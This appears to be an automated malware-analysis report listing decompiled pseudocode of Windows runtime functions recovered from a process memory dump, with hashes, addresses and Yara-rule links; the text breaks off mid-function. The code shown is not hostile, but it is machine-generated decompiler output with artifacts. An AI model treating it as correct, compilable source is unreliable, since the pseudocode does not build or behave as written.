Opcode ID: adb8e9e4566c81f34a2271d25c32b55ffbb7249b96276f9c50d0c475568539e7
Instruction ID: 6a05a4b6e9a4e8663579a5c77a917ada268ddc7fc093747c24f97d63a6f41b7c
Opcode Fuzzy Hash: adb8e9e4566c81f34a2271d25c32b55ffbb7249b96276f9c50d0c475568539e7
Instruction Fuzzy Hash: 2F419CB1D01208AFDB24DFA9C840BFEBBF8EF58714F14852AE815A7250EB74A905CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04665210, Relevance: .1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E04665210(intOrPtr _a4, void* _a8) {
				void* __ecx;
				intOrPtr _t31;
				signed int _t32;
				signed int _t33;
				intOrPtr _t35;
				signed int _t52;
				void* _t54;
				void* _t56;
				unsigned int _t59;
				signed int _t60;
				void* _t61;

				_t61 = E046652A5(1);
				if(_t61 == 0) {
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_t54 =  *((intOrPtr*)(_t31 + 0x28));
					_t59 =  *(_t31 + 0x24) & 0x0000ffff;
				} else {
					_t54 =  *((intOrPtr*)(_t61 + 0x10));
					_t59 =  *(_t61 + 0xc) & 0x0000ffff;
				}
				_t60 = _t59 >> 1;
				_t32 = 0x3a;
				if(_t60 < 2 ||  *((intOrPtr*)(_t54 + _t60 * 2 - 4)) == _t32) {
					_t52 = _t60 + _t60;
					if(_a4 > _t52) {
						goto L5;
					}
					if(_t61 != 0) {
						asm("lock xadd [esi], eax");
						if((_t32 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E046A95D0();
							L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
						}
					} else {
						E0467EB70(_t54, 0x47579a0);
					}
					_t26 = _t52 + 2; // 0xddeeddf0
					return _t26;
				} else {
					_t52 = _t60 + _t60;
					if(_a4 < _t52) {
						if(_t61 != 0) {
							asm("lock xadd [esi], eax");
							if((_t32 | 0xffffffff) == 0) {
								_push( *((intOrPtr*)(_t61 + 4)));
								E046A95D0();
								L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
							}
						} else {
							E0467EB70(_t54, 0x47579a0);
						}
						return _t52;
					}
					L5:
					_t33 = E046AF3E0(_a8, _t54, _t52);
					if(_t61 == 0) {
						E0467EB70(_t54, 0x47579a0);
					} else {
						asm("lock xadd [esi], eax");
						if((_t33 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E046A95D0();
							L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
						}
					}
					_t35 = _a8;
					if(_t60 <= 1) {
						L9:
						_t60 = _t60 - 1;
						 *((short*)(_t52 + _t35 - 2)) = 0;
						goto L10;
					} else {
						_t56 = 0x3a;
						if( *((intOrPtr*)(_t35 + _t60 * 2 - 4)) == _t56) {
							 *((short*)(_t52 + _t35)) = 0;
							L10:
							return _t60 + _t60;
						}
						goto L9;
					}
				}
			}

0x04665220
0x04665224
0x046c0d13
0x046c0d16
0x046c0d19
0x0466522a
0x0466522a
0x0466522d
0x0466522d
0x04665231
0x04665235
0x04665239
0x046c0d5c
0x046c0d62
0x00000000
0x00000000
0x046c0d6a
0x046c0d7b
0x046c0d7f
0x046c0d81
0x046c0d84
0x046c0d95
0x046c0d95
0x046c0d6c
0x046c0d71
0x046c0d71
0x046c0d9a
0x00000000
0x0466524a
0x0466524a
0x04665250
0x046c0d24
0x046c0d35
0x046c0d39
0x046c0d3b
0x046c0d3e
0x046c0d50
0x046c0d50
0x046c0d26
0x046c0d2b
0x046c0d2b
0x00000000
0x046c0d55
0x04665256
0x0466525b
0x04665265
0x046c0da7
0x0466526b
0x0466526e
0x04665272
0x046c0db1
0x046c0db4
0x046c0dc5
0x046c0dc5
0x04665272
0x04665278
0x0466527e
0x0466528a
0x0466528c
0x0466528d
0x00000000
0x04665280
0x04665282
0x04665288
0x0466529f
0x04665292
0x00000000
0x04665292
0x00000000
0x04665288
0x0466527e

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96f12d966af10273669faafb61ae840efd13728690cff351cdd688c20e03fe09
Instruction ID: 4ef62f9959812471ec35fd0256129689f1ae5d96977b7d6b62a66842563860b9
Opcode Fuzzy Hash: 96f12d966af10273669faafb61ae840efd13728690cff351cdd688c20e03fe09
Instruction Fuzzy Hash: FD31F431251A00EBD725AF58DC82B7677AAFF10764F214A1EE8570B2A4FB60FC01CA94

Uniqueness

Uniqueness Score: -1.00%

Function 046A3D43, Relevance: .1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E046A3D43(signed short* __ecx, signed short* __edx, signed short* _a4, signed short** _a8, intOrPtr* _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				char _v12;
				signed short** _t33;
				short* _t38;
				intOrPtr* _t39;
				intOrPtr* _t41;
				signed short _t43;
				intOrPtr* _t47;
				intOrPtr* _t53;
				signed short _t57;
				intOrPtr _t58;
				signed short _t60;
				signed short* _t61;

				_t47 = __ecx;
				_t61 = __edx;
				_t60 = ( *__ecx & 0x0000ffff) + 2;
				if(_t60 > 0xfffe) {
					L22:
					return 0xc0000106;
				}
				if(__edx != 0) {
					if(_t60 <= ( *(__edx + 2) & 0x0000ffff)) {
						L5:
						E04677B60(0, _t61, 0x46411c4);
						_v12 =  *_t47;
						_v12 = _v12 + 0xfff8;
						_v8 =  *((intOrPtr*)(_t47 + 4)) + 8;
						E04677B60(0xfff8, _t61,  &_v12);
						_t33 = _a8;
						if(_t33 != 0) {
							 *_t33 = _t61;
						}
						 *((short*)(_t61[2] + (( *_t61 & 0x0000ffff) >> 1) * 2)) = 0;
						_t53 = _a12;
						if(_t53 != 0) {
							_t57 = _t61[2];
							_t38 = _t57 + ((( *_t61 & 0x0000ffff) >> 1) - 1) * 2;
							while(_t38 >= _t57) {
								if( *_t38 == 0x5c) {
									_t41 = _t38 + 2;
									if(_t41 == 0) {
										break;
									}
									_t58 = 0;
									if( *_t41 == 0) {
										L19:
										 *_t53 = _t58;
										goto L7;
									}
									 *_t53 = _t41;
									goto L7;
								}
								_t38 = _t38 - 2;
							}
							_t58 = 0;
							goto L19;
						} else {
							L7:
							_t39 = _a16;
							if(_t39 != 0) {
								 *_t39 = 0;
								 *((intOrPtr*)(_t39 + 4)) = 0;
								 *((intOrPtr*)(_t39 + 8)) = 0;
								 *((intOrPtr*)(_t39 + 0xc)) = 0;
							}
							return 0;
						}
					}
					_t61 = _a4;
					if(_t61 != 0) {
						L3:
						_t43 = L04684620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t60);
						_t61[2] = _t43;
						if(_t43 == 0) {
							return 0xc0000017;
						}
						_t61[1] = _t60;
						 *_t61 = 0;
						goto L5;
					}
					goto L22;
				}
				_t61 = _a4;
				if(_t61 == 0) {
					return 0xc000000d;
				}
				goto L3;
			}

0x046a3d4c
0x046a3d50
0x046a3d55
0x046a3d5e
0x046de79a
0x00000000
0x046de79a
0x046a3d68
0x046de789
0x046a3d9d
0x046a3da3
0x046a3daf
0x046a3db5
0x046a3dbc
0x046a3dc4
0x046a3dc9
0x046a3dce
0x046de7ae
0x046de7ae
0x046a3dde
0x046a3de2
0x046a3de7
0x046a3e0d
0x046a3e13
0x046a3e16
0x046a3e1e
0x046a3e25
0x046a3e28
0x00000000
0x00000000
0x046a3e2a
0x046a3e2f
0x046a3e37
0x046a3e37
0x00000000
0x046a3e37
0x046a3e31
0x00000000
0x046a3e31
0x046a3e20
0x046a3e20
0x046a3e35
0x00000000
0x046a3de9
0x046a3de9
0x046a3de9
0x046a3dee
0x046a3dfd
0x046a3dff
0x046a3e02
0x046a3e05
0x046a3e05
0x00000000
0x046a3df0
0x046a3de7
0x046de78f
0x046de794
0x046a3d79
0x046a3d84
0x046a3d89
0x046a3d8e
0x00000000
0x046de7a4
0x046a3d96
0x046a3d9a
0x00000000
0x046a3d9a
0x00000000
0x046de794
0x046a3d6e
0x046a3d73
0x00000000
0x046de7b5
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41b8aa604366e5ebb52788e3c77efc89faf58425d29c23f1353fb4fe0bdd9118
Instruction ID: a964b611c86eab29791207a94dde661960050184e971229a189480b1f8301ee7
Opcode Fuzzy Hash: 41b8aa604366e5ebb52788e3c77efc89faf58425d29c23f1353fb4fe0bdd9118
Instruction Fuzzy Hash: 9B319E31B05A15DBD7259F29D841A6ABBE5FF65700B05806EE849CB360F730EC91DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0469A61C, Relevance: .1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0469A61C(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				intOrPtr _t39;
				intOrPtr _t45;
				intOrPtr* _t51;
				intOrPtr* _t52;
				intOrPtr* _t55;
				signed int _t57;
				intOrPtr* _t59;
				intOrPtr _t68;
				intOrPtr* _t77;
				void* _t79;
				signed int _t80;
				intOrPtr _t81;
				char* _t82;
				void* _t83;

				_push(0x24);
				_push(0x4740220);
				E046BD08C(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t83 - 0x30)) = __edx;
				_t79 = __ecx;
				_t35 =  *0x4757b9c; // 0x0
				_t55 = L04684620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t35 + 0xc0000, 0x28);
				 *((intOrPtr*)(_t83 - 0x24)) = _t55;
				if(_t55 == 0) {
					_t39 = 0xc0000017;
					L11:
					return E046BD0D1(_t39);
				}
				_t68 = 0;
				 *((intOrPtr*)(_t83 - 0x1c)) = 0;
				 *(_t83 - 4) =  *(_t83 - 4) & 0;
				_t7 = _t55 + 8; // 0x8
				_t57 = 6;
				memcpy(_t7, _t79, _t57 << 2);
				_t80 = 0xfffffffe;
				 *(_t83 - 4) = _t80;
				if(0 < 0) {
					L14:
					_t81 =  *((intOrPtr*)(_t83 - 0x1c));
					L20:
					L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t55);
					_t39 = _t81;
					goto L11;
				}
				if( *((intOrPtr*)(_t55 + 0xc)) <  *(_t55 + 8)) {
					_t81 = 0xc000007b;
					goto L20;
				}
				if( *((intOrPtr*)(_t83 + 0xc)) == 0) {
					_t59 =  *((intOrPtr*)(_t83 + 8));
					_t45 =  *_t59;
					 *((intOrPtr*)(_t83 - 0x20)) = _t45;
					 *_t59 = _t45 + 1;
					L6:
					 *(_t83 - 4) = 1;
					 *((intOrPtr*)( *((intOrPtr*)(_t55 + 0x10)))) =  *((intOrPtr*)(_t83 - 0x20));
					 *(_t83 - 4) = _t80;
					if(_t68 < 0) {
						_t82 =  *((intOrPtr*)(_t83 + 0xc));
						if(_t82 == 0) {
							goto L14;
						}
						asm("btr eax, ecx");
						_t81 =  *((intOrPtr*)(_t83 - 0x1c));
						if( *_t82 != 0) {
							 *0x4757b10 =  *0x4757b10 - 8;
						}
						goto L20;
					}
					 *((intOrPtr*)(_t55 + 0x24)) =  *((intOrPtr*)(_t83 - 0x20));
					 *((intOrPtr*)(_t55 + 0x20)) =  *((intOrPtr*)(_t83 - 0x30));
					_t51 =  *0x475536c; // 0x26eabc8
					if( *_t51 != 0x4755368) {
						_push(3);
						asm("int 0x29");
						goto L14;
					}
					 *_t55 = 0x4755368;
					 *((intOrPtr*)(_t55 + 4)) = _t51;
					 *_t51 = _t55;
					 *0x475536c = _t55;
					_t52 =  *((intOrPtr*)(_t83 + 0x10));
					if(_t52 != 0) {
						 *_t52 = _t55;
					}
					_t39 = 0;
					goto L11;
				}
				_t77 =  *((intOrPtr*)(_t83 + 8));
				_t68 = E0469A70E(_t77,  *((intOrPtr*)(_t83 + 0xc)));
				 *((intOrPtr*)(_t83 - 0x1c)) = _t68;
				if(_t68 < 0) {
					goto L14;
				}
				 *((intOrPtr*)(_t83 - 0x20)) =  *_t77;
				goto L6;
			}

0x0469a61c
0x0469a61e
0x0469a623
0x0469a628
0x0469a62b
0x0469a62d
0x0469a648
0x0469a64a
0x0469a64f
0x046d9b44
0x0469a6ec
0x0469a6f1
0x0469a6f1
0x0469a655
0x0469a657
0x0469a65a
0x0469a65d
0x0469a662
0x0469a663
0x0469a667
0x0469a668
0x0469a66d
0x0469a706
0x0469a706
0x046d9bda
0x046d9be6
0x046d9beb
0x00000000
0x046d9beb
0x0469a679
0x046d9b7a
0x00000000
0x046d9b7a
0x0469a683
0x0469a6f4
0x0469a6f7
0x0469a6f9
0x0469a6fd
0x0469a6a0
0x0469a6a0
0x0469a6ad
0x0469a6af
0x0469a6b4
0x046d9ba7
0x046d9bac
0x00000000
0x00000000
0x046d9bc6
0x046d9bce
0x046d9bd1
0x046d9bd3
0x046d9bd3
0x00000000
0x046d9bd1
0x0469a6bd
0x0469a6c3
0x0469a6c6
0x0469a6d2
0x0469a701
0x0469a704
0x00000000
0x0469a704
0x0469a6d4
0x0469a6d6
0x0469a6d9
0x0469a6db
0x0469a6e1
0x0469a6e6
0x0469a6e8
0x0469a6e8
0x0469a6ea
0x00000000
0x0469a6ea
0x0469a688
0x0469a692
0x0469a694
0x0469a699
0x00000000
0x00000000
0x0469a69d
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40371029b07ddcd218257c9defee49296c5582ccc03a40a3e89d6c4774e30ab7
Instruction ID: 55c0fb2642b384e35b97c9e9bdbf61dabac1cb8ed97cea8bfddd3bd15bc472b2
Opcode Fuzzy Hash: 40371029b07ddcd218257c9defee49296c5582ccc03a40a3e89d6c4774e30ab7
Instruction Fuzzy Hash: 304156B5A00255DFDB14CF98C880BA9BBF6FF49304F1581A9E804AF344E7B5AD41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 046E7016, Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E046E7016(short __ecx, intOrPtr __edx, char _a4, char _a8, signed short* _a12, signed short* _a16) {
				signed int _v8;
				char _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				signed short* _v600;
				char _v604;
				short _v606;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short* _t55;
				void* _t56;
				signed short* _t58;
				signed char* _t61;
				char* _t68;
				void* _t69;
				void* _t71;
				void* _t72;
				signed int _t75;

				_t64 = __edx;
				_t77 = (_t75 & 0xfffffff8) - 0x25c;
				_v8 =  *0x475d360 ^ (_t75 & 0xfffffff8) - 0x0000025c;
				_t55 = _a16;
				_v606 = __ecx;
				_t71 = 0;
				_t58 = _a12;
				_v596 = __edx;
				_v600 = _t58;
				_t68 =  &_v588;
				if(_t58 != 0) {
					_t71 = ( *_t58 & 0x0000ffff) + 2;
					if(_t55 != 0) {
						_t71 = _t71 + ( *_t55 & 0x0000ffff) + 2;
					}
				}
				_t8 = _t71 + 0x2a; // 0x28
				_t33 = _t8;
				_v592 = _t8;
				if(_t71 <= 0x214) {
					L6:
					 *((short*)(_t68 + 6)) = _v606;
					if(_t64 != 0xffffffff) {
						asm("cdq");
						 *((intOrPtr*)(_t68 + 0x20)) = _t64;
						 *((char*)(_t68 + 0x28)) = _a4;
						 *((intOrPtr*)(_t68 + 0x24)) = _t64;
						 *((char*)(_t68 + 0x29)) = _a8;
						if(_t71 != 0) {
							_t22 = _t68 + 0x2a; // 0x2a
							_t64 = _t22;
							E046E6B4C(_t58, _t22, _t71,  &_v604);
							if(_t55 != 0) {
								_t25 = _v604 + 0x2a; // 0x2a
								_t64 = _t25 + _t68;
								E046E6B4C(_t55, _t25 + _t68, _t71 - _v604,  &_v604);
							}
							if(E04687D50() == 0) {
								_t61 = 0x7ffe0384;
							} else {
								_t61 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							}
							_push(_t68);
							_push(_v592 + 0xffffffe0);
							_push(0x402);
							_push( *_t61 & 0x000000ff);
							E046A9AE0();
						}
					}
					_t35 =  &_v588;
					if( &_v588 != _t68) {
						_t35 = L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t68);
					}
					L16:
					_pop(_t69);
					_pop(_t72);
					_pop(_t56);
					return E046AB640(_t35, _t56, _v8 ^ _t77, _t64, _t69, _t72);
				}
				_t68 = L04684620(_t58,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t33);
				if(_t68 == 0) {
					goto L16;
				} else {
					_t58 = _v600;
					_t64 = _v596;
					goto L6;
				}
			}

0x046e7016
0x046e701e
0x046e702b
0x046e7033
0x046e7037
0x046e703c
0x046e703e
0x046e7041
0x046e7045
0x046e704a
0x046e7050
0x046e7055
0x046e705a
0x046e7062
0x046e7062
0x046e705a
0x046e7064
0x046e7064
0x046e7067
0x046e7071
0x046e7096
0x046e709b
0x046e70a2
0x046e70a6
0x046e70a7
0x046e70ad
0x046e70b3
0x046e70b6
0x046e70bb
0x046e70c3
0x046e70c3
0x046e70c6
0x046e70cd
0x046e70dd
0x046e70e0
0x046e70e2
0x046e70e2
0x046e70ee
0x046e7101
0x046e70f0
0x046e70f9
0x046e70f9
0x046e710a
0x046e710e
0x046e7112
0x046e7117
0x046e7118
0x046e7118
0x046e70bb
0x046e711d
0x046e7123
0x046e7131
0x046e7131
0x046e7136
0x046e713d
0x046e713e
0x046e713f
0x046e714a
0x046e714a
0x046e7084
0x046e7088
0x00000000
0x046e708e
0x046e708e
0x046e7092
0x00000000
0x046e7092

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c03f43124bce92f65cad7d3d2130aa2a7fb1acd549f98295fabbaed7108279c
Instruction ID: dec4373e0f7504bcf10085c08cc9a9ae51183d978b1ce4ebca4a16a1307cb7ba
Opcode Fuzzy Hash: 7c03f43124bce92f65cad7d3d2130aa2a7fb1acd549f98295fabbaed7108279c
Instruction Fuzzy Hash: 3B31AF726057919BC320DF69C940ABAB3E9BF98700F044A2DF89587790F731F914CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0468C182, Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E0468C182(void* __ecx, unsigned int* __edx, intOrPtr _a4) {
				signed int* _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				signed char _t33;
				signed char _t43;
				signed char _t48;
				signed char _t62;
				void* _t63;
				intOrPtr _t69;
				intOrPtr _t71;
				unsigned int* _t82;
				void* _t83;

				_t80 = __ecx;
				_t82 = __edx;
				_t33 =  *((intOrPtr*)(__ecx + 0xde));
				_t62 = _t33 >> 0x00000001 & 0x00000001;
				if((_t33 & 0x00000001) != 0) {
					_v8 = ((0 | _t62 != 0x00000000) - 0x00000001 & 0x00000048) + 8 + __edx;
					if(E04687D50() != 0) {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t43 = 0x7ffe0386;
					}
					if( *_t43 != 0) {
						_t43 = E04738D34(_v8, _t80);
					}
					E04682280(_t43, _t82);
					if( *((char*)(_t80 + 0xdc)) == 0) {
						E0467FFB0(_t62, _t80, _t82);
						 *(_t80 + 0xde) =  *(_t80 + 0xde) | 0x00000004;
						_t30 = _t80 + 0xd0; // 0xd0
						_t83 = _t30;
						E04738833(_t83,  &_v16);
						_t81 = _t80 + 0x90;
						E0467FFB0(_t62, _t80 + 0x90, _t80 + 0x90);
						_t63 = 0;
						_push(0);
						_push(_t83);
						_t48 = E046AB180();
						if(_a4 != 0) {
							E04682280(_t48, _t81);
						}
					} else {
						_t69 = _v8;
						_t12 = _t80 + 0x98; // 0x98
						_t13 = _t69 + 0xc; // 0x575651ff
						E0468BB2D(_t13, _t12);
						_t71 = _v8;
						_t15 = _t80 + 0xb0; // 0xb0
						_t16 = _t71 + 8; // 0x8b000cc2
						E0468BB2D(_t16, _t15);
						E0468B944(_v8, _t62);
						 *((char*)(_t80 + 0xdc)) = 0;
						E0467FFB0(0, _t80, _t82);
						 *((intOrPtr*)(_t80 + 0xd8)) = 0;
						 *((intOrPtr*)(_t80 + 0xc8)) = 0;
						 *((intOrPtr*)(_t80 + 0xcc)) = 0;
						 *(_t80 + 0xde) = 0;
						if(_a4 == 0) {
							_t25 = _t80 + 0x90; // 0x90
							E0467FFB0(0, _t80, _t25);
						}
						_t63 = 1;
					}
					return _t63;
				}
				 *((intOrPtr*)(__ecx + 0xc8)) = 0;
				 *((intOrPtr*)(__ecx + 0xcc)) = 0;
				if(_a4 == 0) {
					_t24 = _t80 + 0x90; // 0x90
					E0467FFB0(0, __ecx, _t24);
				}
				return 0;
			}

0x0468c18d
0x0468c18f
0x0468c191
0x0468c19b
0x0468c1a0
0x0468c1d4
0x0468c1de
0x046d2d6e
0x0468c1e4
0x0468c1e4
0x0468c1e4
0x0468c1ec
0x046d2d7d
0x046d2d7d
0x0468c1f3
0x0468c1ff
0x046d2d88
0x046d2d8d
0x046d2d94
0x046d2d94
0x046d2d9f
0x046d2da4
0x046d2dab
0x046d2db0
0x046d2db2
0x046d2db3
0x046d2db4
0x046d2dbc
0x046d2dc3
0x046d2dc3
0x0468c205
0x0468c205
0x0468c208
0x0468c20e
0x0468c211
0x0468c216
0x0468c219
0x0468c21f
0x0468c222
0x0468c22c
0x0468c234
0x0468c23a
0x0468c23f
0x0468c245
0x0468c24b
0x0468c251
0x0468c25a
0x0468c276
0x0468c27d
0x0468c27d
0x0468c25c
0x0468c25c
0x00000000
0x0468c25e
0x0468c1a4
0x0468c1aa
0x0468c1b3
0x0468c265
0x0468c26c
0x0468c26c
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction ID: a24a6460deeaa410e9e01a387060e746ffcdd69f281ee7412ccade6d03376058
Opcode Fuzzy Hash: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction Fuzzy Hash: E3312671B01586AEE704FBB4C490FE9F794BF56208F04425ED51847341FB387A06DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0469A70E, Relevance: .1, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0469A70E(intOrPtr* __ecx, char* __edx) {
				unsigned int _v8;
				intOrPtr* _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t16;
				intOrPtr _t17;
				intOrPtr _t28;
				char* _t33;
				intOrPtr _t37;
				intOrPtr _t38;
				void* _t50;
				intOrPtr _t52;

				_push(__ecx);
				_push(__ecx);
				_t52 =  *0x4757b10; // 0x8
				_t33 = __edx;
				_t48 = __ecx;
				_v12 = __ecx;
				if(_t52 == 0) {
					 *0x4757b10 = 8;
					 *0x4757b14 = 0x4757b0c;
					 *0x4757b18 = 1;
					L6:
					_t2 = _t52 + 1; // 0x9
					E0469A990(0x4757b10, _t2, 7);
					asm("bts ecx, eax");
					 *_t48 = _t52;
					 *_t33 = 1;
					L3:
					_t16 = 0;
					L4:
					return _t16;
				}
				_t17 = L0469A840(__edx, __ecx, __ecx, _t52, 0x4757b10, 1, 0);
				if(_t17 == 0xffffffff) {
					_t37 =  *0x4757b10; // 0x8
					_t3 = _t37 + 0x27; // 0x2f
					__eflags = _t3 >> 5 -  *0x4757b18; // 0x1
					if(__eflags > 0) {
						_t38 =  *0x4757b9c; // 0x0
						_t4 = _t52 + 0x27; // 0x2f
						_v8 = _t4 >> 5;
						_t50 = L04684620(_t38 + 0xc0000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0xc0000, _t4 >> 5 << 2);
						__eflags = _t50;
						if(_t50 == 0) {
							_t16 = 0xc0000017;
							goto L4;
						}
						 *0x4757b18 = _v8;
						_t8 = _t52 + 7; // 0xf
						E046AF3E0(_t50,  *0x4757b14, _t8 >> 3);
						_t28 =  *0x4757b14; // 0x77ad7b0c
						__eflags = _t28 - 0x4757b0c;
						if(_t28 != 0x4757b0c) {
							L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
						}
						_t9 = _t52 + 8; // 0x10
						 *0x4757b14 = _t50;
						_t48 = _v12;
						 *0x4757b10 = _t9;
						goto L6;
					}
					 *0x4757b10 = _t37 + 8;
					goto L6;
				}
				 *__ecx = _t17;
				 *_t33 = 0;
				goto L3;
			}

0x0469a713
0x0469a714
0x0469a717
0x0469a71d
0x0469a720
0x0469a722
0x0469a727
0x0469a74a
0x0469a754
0x0469a75e
0x0469a768
0x0469a76a
0x0469a773
0x0469a78b
0x0469a790
0x0469a792
0x0469a741
0x0469a741
0x0469a743
0x0469a749
0x0469a749
0x0469a732
0x0469a73a
0x0469a797
0x0469a79d
0x0469a7a3
0x0469a7a9
0x0469a7b6
0x0469a7bc
0x0469a7ca
0x0469a7e0
0x0469a7e2
0x0469a7e4
0x046d9bf2
0x00000000
0x046d9bf2
0x0469a7ed
0x0469a7f2
0x0469a800
0x0469a805
0x0469a80d
0x0469a812
0x046d9c08
0x046d9c08
0x0469a818
0x0469a81b
0x0469a821
0x0469a824
0x00000000
0x0469a824
0x0469a7ae
0x00000000
0x0469a7ae
0x0469a73c
0x0469a73e
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e15221d07a6e41c501a9dc15029a53b79855371f017e0f2a07076c5bfae97266
Instruction ID: 25e260c6c3182ee6098b0d4eb024148450156243c034631a29dc20afc828cb04
Opcode Fuzzy Hash: e15221d07a6e41c501a9dc15029a53b79855371f017e0f2a07076c5bfae97266
Instruction Fuzzy Hash: 8A319AB5600240ABDB19CF58D881FAA77FEEB84714F14895AE4158F340E7F9AD01CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 046961A0, Relevance: .1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E046961A0(signed int* __ecx) {
				intOrPtr _v8;
				char _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				intOrPtr _t30;
				intOrPtr _t31;
				void* _t32;
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t49;
				signed int _t51;
				intOrPtr _t52;
				signed int _t54;
				void* _t59;
				signed int* _t61;
				intOrPtr* _t64;

				_t61 = __ecx;
				_v12 = 0;
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
				_v16 = __ecx;
				_v8 = 0;
				if(_t30 == 0) {
					L6:
					_t31 = 0;
					L7:
					return _t31;
				}
				_t32 = _t30 + 0x5d8;
				if(_t32 == 0) {
					goto L6;
				}
				_t59 = _t32 + 0x30;
				if( *((intOrPtr*)(_t32 + 0x30)) == 0) {
					goto L6;
				}
				if(__ecx != 0) {
					 *((intOrPtr*)(__ecx)) = 0;
					 *((intOrPtr*)(__ecx + 4)) = 0;
				}
				if( *((intOrPtr*)(_t32 + 0xc)) != 0) {
					_t51 =  *(_t32 + 0x10);
					_t33 = _t32 + 0x10;
					_v20 = _t33;
					_t54 =  *(_t33 + 4);
					if((_t51 | _t54) == 0) {
						_t37 = E04695E50(0x46467cc, 0, 0,  &_v12);
						if(_t37 != 0) {
							goto L6;
						}
						_t52 = _v8;
						asm("lock cmpxchg8b [esi]");
						_t64 = _v16;
						_t49 = _t37;
						_v20 = 0;
						if(_t37 == 0) {
							if(_t64 != 0) {
								 *_t64 = _v12;
								 *((intOrPtr*)(_t64 + 4)) = _t52;
							}
							E04739D2E(_t59, 0, _v12, _v8,  *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38) & 0x0000ffff,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x3c)));
							_t31 = 1;
							goto L7;
						}
						E0466F7C0(_t52, _v12, _t52, 0);
						if(_t64 != 0) {
							 *_t64 = _t49;
							 *((intOrPtr*)(_t64 + 4)) = _v20;
						}
						L12:
						_t31 = 1;
						goto L7;
					}
					if(_t61 != 0) {
						 *_t61 = _t51;
						_t61[1] = _t54;
					}
					goto L12;
				} else {
					goto L6;
				}
			}

0x046961b3
0x046961b5
0x046961bd
0x046961c3
0x046961c7
0x046961d2
0x046961ff
0x046961ff
0x04696201
0x04696207
0x04696207
0x046961d4
0x046961d9
0x00000000
0x00000000
0x046961df
0x046961e2
0x00000000
